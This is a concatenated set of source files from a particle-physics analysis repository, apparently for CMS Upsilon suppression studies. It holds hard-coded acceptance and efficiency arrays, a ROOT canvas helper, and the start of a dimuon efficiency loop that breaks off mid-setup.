Aet_1S_pyquen_cent2014_STA[nCentBins_2014]={0.249,0.250,0.248,0.247,0.246,0.242,0.238,0.231};\nfloat Aet_1S_pyquen_cent2014_STAe[nCentBins_2014]={0.002,0.002,0.002,0.002,0.002,0.002,0.003,0.002};\nfloat Aet_1S_pyquen_cent2014_STAs[nCentBins_2014]={0.011,0.011,0.011,0.011,0.011,0.011,0.011,0.01};\nfloat Aet_1S_pyquen_cent2014_fulls[nCentBins_2014]={0.0104,0.0104,0.0103,0.0103,0.0103,0.0101,0.0099,0.0096};//\n\n\n/* ------------------------------------------- */\n/* 1S pT4 */\n/* ------------------------------------------- */\n/* ---------------needs update...------------- */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_pt4[nPtBins2015] ={0.638,0.649,0.693,0.729,0.758,0.8};//wrong\nfloat e_1S_pyquen_pt4e[nPtBins2015]={0.008,0.009,0.009,0.007,0.005,0.1};\nfloat A_1S_pyquen_pt4[nPtBins2015] ={0.270,0.158,0.186,0.292,0.453,0.6};\nfloat A_1S_pyquen_pt4e[nPtBins2015]={0.0009,0.0001,0.0006,0.0012,0.0027,0.03};//fake\nfloat Ae_1S_pyquen_pt4[nPtBins2015] ={0.173,0.103,0.129,0.213,0.343,0.48};\nfloat Ae_1S_pyquen_pt4e[nPtBins2015]={0.002,0.001,0.002,0.003,0.004,0.04}; // wrong\n//\nfloat t_1S_pyquen_pt4[nPtBins_2013]={1.093,1.079,1.061,1.045,1.032};\nfloat t_1S_pyquen_pt4e[nPtBins_2013]={0.012,0.013,0.014,0.010,0.008};\n//\nfloat Aet_1S_pyquen_pt4[nPtBins_2013]={0.189,0.111,0.136,0.223,0.354};\nfloat Aet_1S_pyquen_pt4e[nPtBins_2013]={0.004,0.002,0.003,0.004,0.005};\nfloat Aet_1S_pyquen_pt4s[nPtBins_2013]={0.004,0.002,0.003,0.004,0.005};\n/* ------------------------------------------- */\n/* 1S rap 4 */\n/* ------------------------------------------- */\n/* ---------------needs update...------------- */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_rap4[nRapBins2015] ={0.668,0.705,0.722,0.692,0.613,0.501};\nfloat e_1S_pyquen_rap4e[nRapBins2015]={0.009,0.090,0.010,0.010,0.010,0.015};\nfloat A_1S_pyquen_rap4[nRapBins2015] ={0.241,0.241,0.241,0.239,0.218,0.102};\nfloat A_1S_pyquen_rap4e[nRapBins2015]={0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Ae_1S_pyquen_rap4[nRapBins2015] ={0.161,0.170,0.174,0.165,0.134,0.051};\nfloat Ae_1S_pyquen_rap4e[nRapBins2015]={0.002,0.002,0.002,0.003,0.002,0.002};\n//\nfloat t_1S_pyquen_rap4[nRapBins_2014]={1.048,1.048,1.053,1.079,1.130,1.157};\nfloat t_1S_pyquen_rap4e[nRapBins_2014]={0.013,0.013,0.013,0.014,0.018,0.033};\nfloat Aet_1S_pyquen_rap42014[nRapBins_2014]={0.168,0.178,0.183,0.178,0.151,0.059};\nfloat Aet_1S_pyquen_rap42014e[nRapBins_2014]={0.003,0.004,0.004,0.004,0.004,0.003};\nfloat Aet_1S_pyquen_rap42014s[nRapBins_2014]={0.003,0.004,0.004,0.004,0.004,0.003};\n/* ------------------------------------------- */\n/* 1S cent 4 */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_cent4[nCentBins_2014] ={0.705,0.708,0.698,0.698,0.693,0.691,0.666,0.648};\nfloat e_1S_pyquen_cent4e[nCentBins_2014]={0.006,0.006,0.008,0.008,0.008,0.008,0.011,0.010};\nfloat A_1S_pyquen_cent4[nCentBins_2014] ={0.220,0.220,0.220,0.220,0.220,0.220,0.220,0.220};\nfloat A_1S_pyquen_cent4e[nCentBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Ae_1S_pyquen_ra4p[nCentBins_2014] ={0.155,0.155,0.153,0.153,0.152,0.149,0.146,0.142};\nfloat Ae_1S_pyquen_cent4e[nCentBins_2014]={0.001,0.001,0.002,0.002,0.002,0.002,0.002,0.002};\n//\nfloat t_1S_pyquen_cent4[nCentBins_2014]= {1.073,1.071,1.070,1.070,1.070,1.070,1.070,1.069};\nfloat t_1S_pyquen_cent4e[nCentBins_2014]={0.001,0.001,0.002,0.002,0.002,0.002,0.002,0.002};\nfloat Aet_1S_pyquen_cent42014[nCentBins_2014]= {0.166,0.166,0.164,0.164,0.163,0.160,0.157,0.152};\nfloat Aet_1S_pyquen_cent42014e[nCentBins_2014]={0.002,0.002,0.003,0.003,0.003,0.004,0.004,0.003};\nfloat Aet_1S_pyquen_cent42014s[nCentBins_2014]={0.002,0.002,0.003,0.003,0.003,0.004,0.004,0.003};\n/* ------------------------------------------- */\n/* 2S pT */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* 2S tight TOTAL E,A,T */\n/* ------------------------------------------- */\nfloat Ae_2S_pyquen_tot=0.202;\nfloat Ae_2S_pyquen_tote=0.001;\nfloat e_2S_pyquen_tot=0.722;\nfloat e_2S_pyquen_tote=0.003;\nfloat t_2S_pyquen_tot4= 1.059;\nfloat t_2S_pyquen_tot4e=0.0044;\n//good for 2016\nfloat Aet_2S_pyquen_tot=0.214;//Ae_2S_pyquen_tot*t_2S_pyquen_tot4;\nfloat Aet_2S_pyquen_tote=0.001;\nfloat Aet_2S_pyquen_tots=0.0087;//full tnp syst\nfloat Aet_2S_pyquen_totgse=0.001;// gs\nfloat Aet_2S_pyquen_tot_muIDe=0.007;//\nfloat Aet_2S_pyquen_tot_STAe=0.01;//\n\nfloat e_2S_pyquen_pt2010[nPtBins2S]= {0.692,0.741,0.789};\nfloat e_2S_pyquen_pt2010e[nPtBins2S]= {0.005,0.005,0.004};\nfloat A_2S_pyquen_pt2010[nPtBins2S]= {0.268,0.250,0.467};\nfloat A_2S_pyquen_pt2010e[nPtBins2S]= {0.001,0.001,0.007};\nfloat Ae_2S_pyquen_pt2010[nPtBins2S]= {0.186,0.185,0.368};\nfloat Ae_2S_pyquen_pt2010e[nPtBins2S]= {0.001,0.002,0.006};\n\nfloat t_2S_pyquen_pt2010[nPtBins2S]= {1.092,1.092,1.092};\nfloat t_2S_pyquen_pt2010e[nPtBins2S]= {0.043,0.044,0.042};\n///muID 2016\nfloat Aet_2S_pyquen_pt2013Large[nPtBins2S]= {0.200,0.194,0.377}; // ok 2016\nfloat Aet_2S_pyquen_pt2013Largee[nPtBins2S]={0.001,0.002,0.006};// gs\nfloat Aet_2S_pyquen_pt2013Large_muIDTrige[nPtBins2S]={0.005,0.006,0.011}; //muid\nfloat Aet_2S_pyquen_pt2013Large_STAe[nPtBins2S]={0.009,0.009,0.017}; //sta\nfloat Aet_2S_pyquen_pt2013Large_fulls[nPtBins2S]={0.0085,0.0078,0.0151}; //full\n/* ------------------------------------------- */\n/* 2S rap */\n/* ------------------------------------------- */\nfloat e_2S_pyquen_rap2010[nRapBins2S]= {0.747,0.681};\nfloat e_2S_pyquen_rap2010e[nRapBins2S]={0.004,0.005};\nfloat A_2S_pyquen_rap2010[nRapBins2S]= {0.309,0.241};\nfloat A_2S_pyquen_rap2010e[nRapBins2S]={0.001,0.001};\nfloat Ae_2S_pyquen_rap2010[nRapBins2S]= {0.231,0.164};\nfloat Ae_2S_pyquen_rap2010e[nRapBins2S]= {0.002,0.001};\n\nfloat t_2S_pyquen_rap2010[nRapBins2S]= {1.082,1.108};\nfloat t_2S_pyquen_rap2010e[nRapBins2S]={0.014,0.089};\n///2016 new\nfloat Aet_2S_pyquen_rap2014Large[nRapBins2S]= {0.244,0.175}; ///full\nfloat Aet_2S_pyquen_rap2014Largee[nRapBins2S]={0.002,0.001}; //\nfloat Aet_2S_pyquen_rap2014Larges[nRapBins2S]={0.0095,0.0086}; //\nfloat Aet_2S_pyquen_rap2014Large_muIDTrige[nRapBins2S]={0.005,0.006}; //muid\nfloat Aet_2S_pyquen_rap2014Large_STAe[nRapBins2S]={0.01,0.01}; //sta\n\n/* ------------------------------------------- */\n/* 2S cent */\n/* ------------------------------------------- */\nfloat e_2S_pyquen_cent2014[nCentBins2S] ={0.742,0.734,0.724,0.698};\nfloat e_2S_pyquen_cent2014e[nCentBins2S] ={0.004,0.005,0.005,0.008};\nfloat A_2S_pyquen_cent2014[nCentBins2S] ={0.279,0.279,0.279,0.279};\nfloat A_2S_pyquen_cent2014e[nCentBins2S] ={0.001,0.001,0.001,0.001};\nfloat Ae_2S_pyquen_cent2014[nCentBins2S] ={0.207,0.205,0.202,0.195};\nfloat Ae_2S_pyquen_cent2014e[nCentBins2S]={0.001,0.002,0.002,0.002};\nfloat t_2S_pyquen_cent4[nCentBins2S]={1.09128,1.09186, 1.09144, 1.09124};\nfloat t_2S_pyquen_cent4e[nCentBins2S]= { 0.0395394, 0.0395981, 0.0389999, 0.0381379};\n///2016\nfloat Aet_2S_pyquen_cent2014[nCentBins2S]= {0.219,0.217,0.214,0.207};\nfloat Aet_2S_pyquen_cent2014e[nCentBins2S]={0.001,0.002,0.002,0.002};\nfloat Aet_2S_pyquen_cent2014s[nCentBins2S]={0.0089,0.0088,0.0087,0.0084};//full\nfloat Aet_2S_pyquen_cent2014_muIDTrige[nCentBins2S]={0.006,0.006,0.007,0.006};//muid\nfloat Aet_2S_pyquen_cent2014_STAe[nCentBins2S]={0.01,0.01,0.01,0.01};//sta\n\n\n////////OTHER STUFF/////////////\n////////OTHER STUFF/////////////\n////////OTHER STUFF/////////////\n////////OTHER STUFF/////////////\n////////OTHER STUFF/////////////\n///for FUN\nfloat Aet_3S_pyquen_tot=Aet_3S_pythia_tot*Ae_2S_pyquen_tot/Ae_2S_pythia_tot;\nfloat Aet_3S_pyquen_tote=0.02;\n\n\nfloat Aet_1S_pyquen_y120[nRapBins2S]= {0.259,0.249}; \nfloat Aet_1S_pyquen_y120e[nRapBins2S]={0.002,0.003};\nfloat Aet_1S_pyquen_y240[nRapBins2S] ={0.211,0.196};\nfloat Aet_1S_pyquen_y240e[nRapBins2S]={0.003,0.003};\nfloat Aet_1S_pyquen_pt5[nRapBins2S]= {0.236,0.224};\nfloat Aet_1S_pyquen_pt5e[nRapBins2S]= {0.002,0.003};\nfloat Aet_1S_pyquen_pt12[nRapBins2S]= {0.217,0.207};\nfloat Aet_1S_pyquen_pt12e[nRapBins2S]= {0.004,0.004};\nfloat Aet_1S_pyquen_pt20[nRapBins2S]= {0.395,0.379};\nfloat Aet_1S_pyquen_pt20e[nRapBins2S]= {0.004,0.005};\n///BELOW: NOT THE SAME PT BINS....can't be used.\nfloat Ae_1S_pyquen_DD020[nRapBins2S]={0.266,0.305};\nfloat Ae_1S_pyquen_DD20100[nRapBins2S]={0.278,0.328};\nfloat Ae_1S_pyquen_DD020e[nRapBins2S]={0.002,0.0032};\nfloat Ae_1S_pyquen_DD20100e[nRapBins2S]={0.0017,0.0027};\nfloat Aet_1S_pyquen_DDR020[nRapBins2S]={0.249,0.196};\nfloat Aet_1S_pyquen_DDR020e[nRapBins2S]={0.003,0.003};\nfloat Aet_1S_pyquen_DDR20100[nRapBins2S]={0.259,0.211};\nfloat Aet_1S_pyquen_DDR20100e[nRapBins2S]={0.003,0.003};\nfloat Aet_1S_pyquen_DDP020[nPtBins2S]={0.215,0.218,0.341};\nfloat Aet_1S_pyquen_DDP020e[nPtBins2S]={0.003,0.004,0.005};\nfloat Aet_1S_pyquen_DDP20100[nPtBins2S]={0.227,0.228,0.356};\nfloat Aet_1S_pyquen_DDP20100e[nPtBins2S]={0.002,0.004,0.004};\nfloat e_1S_pyquen_DD020[nRapBins2S]={0.596,0.577};\nfloat e_1S_pyquen_DD20100[nRapBins2S]={0.621,0.622};\nfloat e_1S_pyquen_DD020e[nRapBins2S]={0.0051,0.0066};\nfloat e_1S_pyquen_DD20100e[nRapBins2S]={0.0043,0.0057};\nfloat A_1S_pyquen_DD020[nRapBins2S]={0.447,0.530};\nfloat A_1S_pyquen_DD20100[nRapBins2S]={0.449,0.528};\nfloat A_1S_pyquen_DD020e[nRapBins2S]={0.0024,0.0039};\nfloat A_1S_pyquen_DD20100e[nRapBins2S]={0.0020,0.0032};\nfloat t_1S_pyquen_DDR020[nRapBins2S]= {1.067,1.122};\nfloat t_1S_pyquen_DDR20100[nRapBins2S]= {1.067,1.122};\nfloat t_1S_pyquen_DDP020[nPtBins2S]= {1.099,1.066,1.043};\nfloat t_1S_pyquen_DDP20100[nPtBins2S]= {1.1,1.066,1.043};\n\n\nfloat Aet_1S_pyquen_ptLarge[nPtBins2S]={0.228,0.210,0.384}; //pyquen, cent. integrated\nfloat Aet_1S_pyquen_ptLargee[nPtBins2S]={0.002,0.003,0.005};\nfloat Aet_1S_pyquen_rapLarge[nRapBins2S]={0.252,0.201};\nfloat Aet_1S_pyquen_rapLargee[nRapBins2S]={0.002,0.003};\n\nfloat Aet_1S_pythia_ptLarge[nPtBins2S]={0.257,0.222,0.390};\nfloat Aet_1S_pythia_ptLargee[nPtBins2S]={0.001,0.01,0.005};\nfloat Aet_1S_pythia_rapLarge[nRapBins2S]={0.289,0.207};\nfloat Aet_1S_pythia_rapLargee[nRapBins2S]={0.001,0.001};\n\n\n//raa 2011-011\nfloat RAA_1S_2011sg=0.137/1.005;\nfloat RAA_1S_2011[7]={1.005,0.590,0.681,0.614,0.484,0.432,0.411};\nfloat RAA_1S_2011e[7]={0.121,0.096,0.069,0.053,0.040,0.048,0.043};\nfloat RAA_1S_2011s[7]={0.176,0.080,0.093,0.084,0.066,0.059,0.056};\nfloat RAA_2S_2011sg=0.064/0.300;\nfloat RAA_2S_2011[7]={0.3,0.251,0.237,0.260,0.068,0.044,0.111};\nfloat RAA_2S_2011e[7]={0.157,0.138,0.098,0.079,0.053,0.060,0.061};\nfloat RAA_2S_2011s[7]={0.176,0.138,0.098,0.079,0.053,0.060,0.061};\n" }, { "alpha_fraction": 0.5706760287284851, "alphanum_fraction": 0.6268656849861145, "avg_line_length": 36.344261169433594, "blob_id": "60d27b43f50a5cd510a0c5c9a66d3cf7d7e52165", "content_id": "451e098823a58ca808777ac516546d2ed516d494", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2278, "license_type": "no_license", "max_line_length": 71, "num_lines": 61, "path": "/plotting/InitCanvases.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "//#include \"TCanvas.h\"\nvoid InitCanvases (TCanvas& canvas_ , bool pt, bool rap)\n{\n // TCanvas *canvas_ = new TCanvas();\n canvas_.cd();\n canvas_.Draw();\n TPad *prapcent = new TPad(\"prapcent\",\"prapcent\",0.0,0.0,1.0,1.0);\n prapcent->SetBottomMargin(0.12);\n prapcent->SetTopMargin(0.03);\n prapcent->SetRightMargin(0.03);\n prapcent->SetLeftMargin(0.16);\n prapcent->Draw();\n prapcent->cd();\n //one pad to draw RaaPt!\n if(pt){\n if(!doControlPlots){\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,42);\n f4RaaPt->SetLineWidth(0);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}\");\n f4RaaPt->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaPt->GetYaxis()->SetTitleOffset(1.8);\n f4RaaPt->GetYaxis()->SetTitleSize(0.028);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1.3);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n }else{\n TF1 *f4significance = new TF1(\"f4significance\",\"0\",0,pt15[5]);\n f4significance->SetLineWidth(0);\n f4significance->GetXaxis()->SetTitle(\"p_{T}\");\n f4significance->GetYaxis()->SetTitle(\"N_{FIT}/err_{Nfit}\");\n f4significance->GetYaxis()->SetTitleOffset(1.8);\n f4significance->GetYaxis()->SetTitleSize(0.028);\n f4significance->GetYaxis()->SetRangeUser(0.,35);\n f4significance->GetXaxis()->CenterTitle(kTRUE);\n f4significance->Draw();\n }\n }\n if(rap){\n if(!doControlPlots){\n TF1 *f4RaaRap = new TF1(\"f4RaaRap\",\"1\",0,42);\n f4RaaRap->SetLineWidth(0);\n f4RaaRap->GetXaxis()->SetTitle(\"|y|\");\n f4RaaRap->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaRap->GetYaxis()->SetTitleOffset(1.8);\n f4RaaRap->GetYaxis()->SetTitleSize(0.028);\n f4RaaRap->GetYaxis()->SetRangeUser(0.,1.3);\n f4RaaRap->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRap->Draw();\n }else{\n TF1 *f4significance = new TF1(\"f4significance\",\"0\",0,rap2014[5]);\n f4significance->SetLineWidth(0);\n f4significance->GetXaxis()->SetTitle(\"|y|\");\n f4significance->GetYaxis()->SetTitle(\"N_{FIT}/err_{Nfit}\");\n f4significance->GetYaxis()->SetTitleOffset(1.8);\n f4significance->GetYaxis()->SetTitleSize(0.028);\n f4significance->GetYaxis()->SetRangeUser(0.,35);\n f4significance->GetXaxis()->CenterTitle(kTRUE);\n f4significance->Draw();\n }\n }\n}\n" }, { "alpha_fraction": 0.523327648639679, "alphanum_fraction": 0.5800241827964783, "avg_line_length": 51.37613296508789, "blob_id": "e028131bb7f4294500dc82aa757d8e94b2c12882", "content_id": "50bbf286afc97be79aec5b1eafebc27c7ff0e69c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 63637, "license_type": "no_license", "max_line_length": 208, "num_lines": 1215, "path": "/acceptance_efficiency/dimueff.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#define dimueff_cxx\n#include \"dimueff.h\"\n#include <TH2.h>\n#include <TStyle.h>\n#include <TCanvas.h>\n#include <TLatex.h>\n#include <TPad.h>\n#include <iostream>\n#include <algorithm>\n#include <fstream>\n\n#ifndef __CINT__\n#include \"RooGlobalFunc.h\"\n#endif\n\n#include \"RooAbsPdf.h\"\n#include \"RooAddPdf.h\"\n#include \"RooCBShape.h\"\n#include \"RooChebychev.h\"\n#include \"RooConstVar.h\"\n#include \"RooDataSet.h\"\n#include \"RooFitResult.h\"\n#include \"RooGaussian.h\"\n#include \"RooGenericPdf.h\"\n#include \"RooHist.h\"\n#include \"RooHistPdf.h\"\n#include \"RooDataHist.h\"\n#include \"RooKeysPdf.h\"\n#include \"RooProdPdf.h\"\n#include \"RooMCStudy.h\"\n#include \"RooPolynomial.h\"\n#include \"RooRealVar.h\"\n#include \"RooPlot.h\"\n#include \"RooWorkspace.h\"\n#include \"RooChi2Var.h\"\n#include \"RooMinuit.h\"\n\n#include \"tnp_weight.h\"\n\n// #define NPT1S 6\n#define NPT1S 5\n#define NRAP1S 6\n#define NCENT1S 8\n\n#define NPT2S 3\n#define NRAP2S 2\n#define NCENT2S 4\n\n#define DRCUT 1e99\n\nusing namespace std;\nusing namespace RooFit;\n\n// const double ptbins_1S[NPT1S+1] = {0,2.5,5,8,12,20,40};\nconst double ptbins_1S[NPT1S+1] = {0.,2.5,5.,8.,12.,20.};\nconst double rapbins_1S[NRAP1S+1] = {0.,0.4,0.8,1.2,1.6,2.,2.4};\n// const int centbins_1S[NCENT1S+1] = {0,5./2.5,10./2.5,20./2.5,30./2.5,40./2.5,50./2.5,70./2.5,100./2.5};\nconst int centbins_1S[NCENT1S+1] = {0,2,4,8,12,16,20,28,40};\nconst float fcentbins_1S[NCENT1S+1] = {0.,5./2.5,10./2.5,20./2.5,30./2.5,40./2.5,50./2.5,70./2.5,100./2.5};\n\n// const double ptbins_2S[NPT2S+1] = {0,5,12,40};\nconst double ptbins_2S[NPT2S+1] = {0,5,12,20};\nconst double rapbins_2S[NRAP2S+1] = {0,1.2,2.4};\n// const int centbins_2S[NCENT2S+1] = {0,10./2.5,30./2.5,50./2.5,100./2.5};\nconst int centbins_2S[NCENT2S+1] = {0,4,12,20,40};\nconst float fcentbins_2S[NCENT2S+1] = {0,10./2.5,30./2.5,50./2.5,100./2.5};\n\nvoid dimueff::Loop(int YS, bool ispbpb, int strategy, int binningYS, int var_tp1, int var_tp2)\n // YS = N for NS\n // ispbpb = true for PbPb, false for pp\n // strategy = 0 for fit + reco quantities\n // 1 for fit + truth quantities\n // 2 for count + reco quantities\n // 3 for count + reco quantities\n // binningYS = 1 for fine binning (1S in PbPb style), 2 for coarse binning (2S in PbPb style)\n // var_tp1 = 0 for nominal tag and probe corrections (muid+trg), 1..100 for the variations\n // var_tp2 = 0 for nominal tag and probe corrections (STA), 1..100 for the variations\n{\n// In a ROOT session, you can do:\n// Root > .L dimueff.C\n// Root > dimueff t\n// Root > t.GetEntry(12); // Fill t data members with entry number 12\n// Root > t.Show(); // Show values of entry 12\n// Root > t.Show(16); // Read and show values of entry 16\n// Root > t.Loop(); // Loop on all entries\n//\n\n// This is the loop skeleton where:\n// jentry is the global entry number in the chain\n// ientry is the entry number in the current Tree\n// Note that the argument to GetEntry must be:\n// jentry for TChain::GetEntry\n// ientry for TTree::GetEntry and TBranch::GetEntry\n//\n// To read only selected branches, Insert statements like:\n// METHOD1:\n// fChain->SetBranchStatus(\"*\",0); // disable all branches\n// fChain->SetBranchStatus(\"branchname\",1); // activate branchname\n// METHOD2: replace line\n// fChain->GetEntry(jentry); //read all branches\n//by b_branchname->GetEntry(ientry); //read only this branch\n if (fChain == 0) return;\n\n Long64_t nentries = fChain->GetEntriesFast();\n\n TFile *f = new TFile(\"eff_output.root\",\"RECREATE\");\n TDirectory *dir = f->mkdir(\"allhistos\");\n dir->cd();\n\n // ofstream testing(\"dump.out\");\n\n double dummyerr;\n\n ////////////////////////////////////////////////////////////////////////////\n // let's go for some initializations and declarations\n ////////////////////////////////////////////////////////////////////////////\n double den_pt_NS[NPT1S+1] = {0};\n double den_rap_NS[NRAP1S+1] = {0};\n double den_cent_NS[NCENT1S+1] = {0};\n double denerr_pt_NS[NPT1S+1] = {0};\n double denerr_rap_NS[NRAP1S+1] = {0};\n double denerr_cent_NS[NCENT1S+1] = {0};\n TH1F *hden_pt_NS[NPT1S+1] = {NULL};\n TH1F *hden_rap_NS[NRAP1S+1] = {NULL};\n TH1F *hden_cent_NS[NCENT1S+1] = {NULL};\n double den_pt_1[NPT1S+1] = {0};double den_pt_2[NPT1S+1] = {0};double den_pt_3[NPT1S+1] = {0};double den_pt_4[NPT1S+1] = {0};double den_pt_5[NPT1S+1] = {0};\n double den_rap_1[NRAP1S+1] = {0};double den_rap_2[NRAP1S+1] = {0};double den_rap_3[NRAP1S+1] = {0};double den_rap_4[NRAP1S+1] = {0};double den_rap_5[NRAP1S+1] = {0};\n double den_cent_1[NCENT1S+1] = {0};double den_cent_2[NCENT1S+1] = {0};double den_cent_3[NCENT1S+1] = {0};double den_cent_4[NCENT1S+1] = {0};double den_cent_5[NCENT1S+1] = {0};\n TH1F *hden_pt_1[NPT1S+1] = {NULL};TH1F *hden_pt_2[NPT1S+1] = {NULL};TH1F *hden_pt_3[NPT1S+1] = {NULL};TH1F *hden_pt_4[NPT1S+1] = {NULL};TH1F *hden_pt_5[NPT1S+1] = {NULL};\n TH1F *hden_rap_1[NRAP1S+1] = {NULL};TH1F *hden_rap_2[NRAP1S+1] = {NULL};TH1F *hden_rap_3[NRAP1S+1] = {NULL};TH1F *hden_rap_4[NRAP1S+1] = {NULL};TH1F *hden_rap_5[NRAP1S+1] = {NULL};\n TH1F *hden_cent_1[NCENT1S+1] = {NULL};TH1F *hden_cent_2[NCENT1S+1] = {NULL};TH1F *hden_cent_3[NCENT1S+1] = {NULL};TH1F *hden_cent_4[NCENT1S+1] = {NULL};TH1F *hden_cent_5[NCENT1S+1] = {NULL};\n\n double num_pt_NS[NPT1S+1] = {0};\n double num_rap_NS[NRAP1S+1] = {0};\n double num_cent_NS[NCENT1S+1] = {0};\n double numerr_pt_NS[NPT1S+1] = {0};\n double numerr_rap_NS[NRAP1S+1] = {0};\n double numerr_cent_NS[NCENT1S+1] = {0};\n TH1F *hnum_pt_NS[NPT1S+1] = {NULL};\n TH1F *hnum_rap_NS[NRAP1S+1] = {NULL};\n TH1F *hnum_cent_NS[NCENT1S+1] = {NULL};\n double num_pt_1[NPT1S+1] = {0};double num_pt_2[NPT1S+1] = {0};double num_pt_3[NPT1S+1] = {0};double num_pt_4[NPT1S+1] = {0};double num_pt_5[NPT1S+1] = {0};\n double num_rap_1[NRAP1S+1] = {0};double num_rap_2[NRAP1S+1] = {0};double num_rap_3[NRAP1S+1] = {0};double num_rap_4[NRAP1S+1] = {0};double num_rap_5[NRAP1S+1] = {0};\n double num_cent_1[NCENT1S+1] = {0};double num_cent_2[NCENT1S+1] = {0};double num_cent_3[NCENT1S+1] = {0};double num_cent_4[NCENT1S+1] = {0};double num_cent_5[NCENT1S+1] = {0};\n TH1F *hnum_pt_1[NPT1S+1] = {NULL};TH1F *hnum_pt_2[NPT1S+1] = {NULL};TH1F *hnum_pt_3[NPT1S+1] = {NULL};TH1F *hnum_pt_4[NPT1S+1] = {NULL};TH1F *hnum_pt_5[NPT1S+1] = {NULL};\n TH1F *hnum_rap_1[NRAP1S+1] = {NULL};TH1F *hnum_rap_2[NRAP1S+1] = {NULL};TH1F *hnum_rap_3[NRAP1S+1] = {NULL};TH1F *hnum_rap_4[NRAP1S+1] = {NULL};TH1F *hnum_rap_5[NRAP1S+1] = {NULL};\n TH1F *hnum_cent_1[NCENT1S+1] = {NULL};TH1F *hnum_cent_2[NCENT1S+1] = {NULL};TH1F *hnum_cent_3[NCENT1S+1] = {NULL};TH1F *hnum_cent_4[NCENT1S+1] = {NULL};TH1F *hnum_cent_5[NCENT1S+1] = {NULL};\n\n double num_tp_pt_NS[NPT1S+1] = {0};\n double num_tp_rap_NS[NRAP1S+1] = {0};\n double num_tp_cent_NS[NCENT1S+1] = {0};\n double numerr_tp_pt_NS[NPT1S+1] = {0};\n double numerr_tp_rap_NS[NRAP1S+1] = {0};\n double numerr_tp_cent_NS[NCENT1S+1] = {0};\n TH1F *hnum_tp_pt_NS[NPT1S+1] = {NULL};\n TH1F *hnum_tp_rap_NS[NRAP1S+1] = {NULL};\n TH1F *hnum_tp_cent_NS[NCENT1S+1] = {NULL};\n double num_tp_pt_1[NPT1S+1] = {0};double num_tp_pt_2[NPT1S+1] = {0};double num_tp_pt_3[NPT1S+1] = {0};double num_tp_pt_4[NPT1S+1] = {0};double num_tp_pt_5[NPT1S+1] = {0};\n double num_tp_rap_1[NRAP1S+1] = {0};double num_tp_rap_2[NRAP1S+1] = {0};double num_tp_rap_3[NRAP1S+1] = {0};double num_tp_rap_4[NRAP1S+1] = {0};double num_tp_rap_5[NRAP1S+1] = {0};\n double num_tp_cent_1[NCENT1S+1] = {0};double num_tp_cent_2[NCENT1S+1] = {0};double num_tp_cent_3[NCENT1S+1] = {0};double num_tp_cent_4[NCENT1S+1] = {0};double num_tp_cent_5[NCENT1S+1] = {0};\n TH1F *hnum_tp_pt_1[NPT1S+1] = {NULL};TH1F *hnum_tp_pt_2[NPT1S+1] = {NULL};TH1F *hnum_tp_pt_3[NPT1S+1] = {NULL};TH1F *hnum_tp_pt_4[NPT1S+1] = {NULL};TH1F *hnum_tp_pt_5[NPT1S+1] = {NULL};\n TH1F *hnum_tp_rap_1[NRAP1S+1] = {NULL};TH1F *hnum_tp_rap_2[NRAP1S+1] = {NULL};TH1F *hnum_tp_rap_3[NRAP1S+1] = {NULL};TH1F *hnum_tp_rap_4[NRAP1S+1] = {NULL};TH1F *hnum_tp_rap_5[NRAP1S+1] = {NULL};\n TH1F *hnum_tp_cent_1[NCENT1S+1] = {NULL};TH1F *hnum_tp_cent_2[NCENT1S+1] = {NULL};TH1F *hnum_tp_cent_3[NCENT1S+1] = {NULL};TH1F *hnum_tp_cent_4[NCENT1S+1] = {NULL};TH1F *hnum_tp_cent_5[NCENT1S+1] = {NULL};\n\n double num_tpsta_pt_NS[NPT1S+1] = {0};\n double num_tpsta_rap_NS[NRAP1S+1] = {0};\n double num_tpsta_cent_NS[NCENT1S+1] = {0};\n double numerr_tpsta_pt_NS[NPT1S+1] = {0};\n double numerr_tpsta_rap_NS[NRAP1S+1] = {0};\n double numerr_tpsta_cent_NS[NCENT1S+1] = {0};\n TH1F *hnum_tpsta_pt_NS[NPT1S+1] = {NULL};\n TH1F *hnum_tpsta_rap_NS[NRAP1S+1] = {NULL};\n TH1F *hnum_tpsta_cent_NS[NCENT1S+1] = {NULL};\n\n for (int ibin=0; ibin<NPT1S+1; ibin++)\n {\n hden_pt_NS[ibin] = new TH1F(Form(\"hden_pt_NS_%i\",ibin),Form(\"hden_pt_NS_%i\",ibin),250,7,12);\n hnum_pt_NS[ibin] = new TH1F(Form(\"hnum_pt_NS_%i\",ibin),Form(\"hnum_pt_NS_%i\",ibin),250,7,12);\n hnum_tp_pt_NS[ibin] = new TH1F(Form(\"hnum_tp_pt_NS_%i\",ibin),Form(\"hnum_tp_pt_NS_%i\",ibin),250,7,12);\n hnum_tpsta_pt_NS[ibin] = new TH1F(Form(\"hnum_tpsta_pt_NS_%i\",ibin),Form(\"hnum_tpsta_pt_NS_%i\",ibin),250,7,12);\n hden_pt_1[ibin] = new TH1F(Form(\"hden_pt_1_%i\",ibin),Form(\"hden_pt_1_%i\",ibin),250,7,12);\n hnum_pt_1[ibin] = new TH1F(Form(\"hnum_pt_1_%i\",ibin),Form(\"hnum_pt_1_%i\",ibin),250,7,12);\n hnum_tp_pt_1[ibin] = new TH1F(Form(\"hnum_tp_pt_1_%i\",ibin),Form(\"hnum_tp_pt_1_%i\",ibin),250,7,12);\n hden_pt_2[ibin] = new TH1F(Form(\"hden_pt_2_%i\",ibin),Form(\"hden_pt_2_%i\",ibin),250,7,12);\n hnum_pt_2[ibin] = new TH1F(Form(\"hnum_pt_2_%i\",ibin),Form(\"hnum_pt_2_%i\",ibin),250,7,12);\n 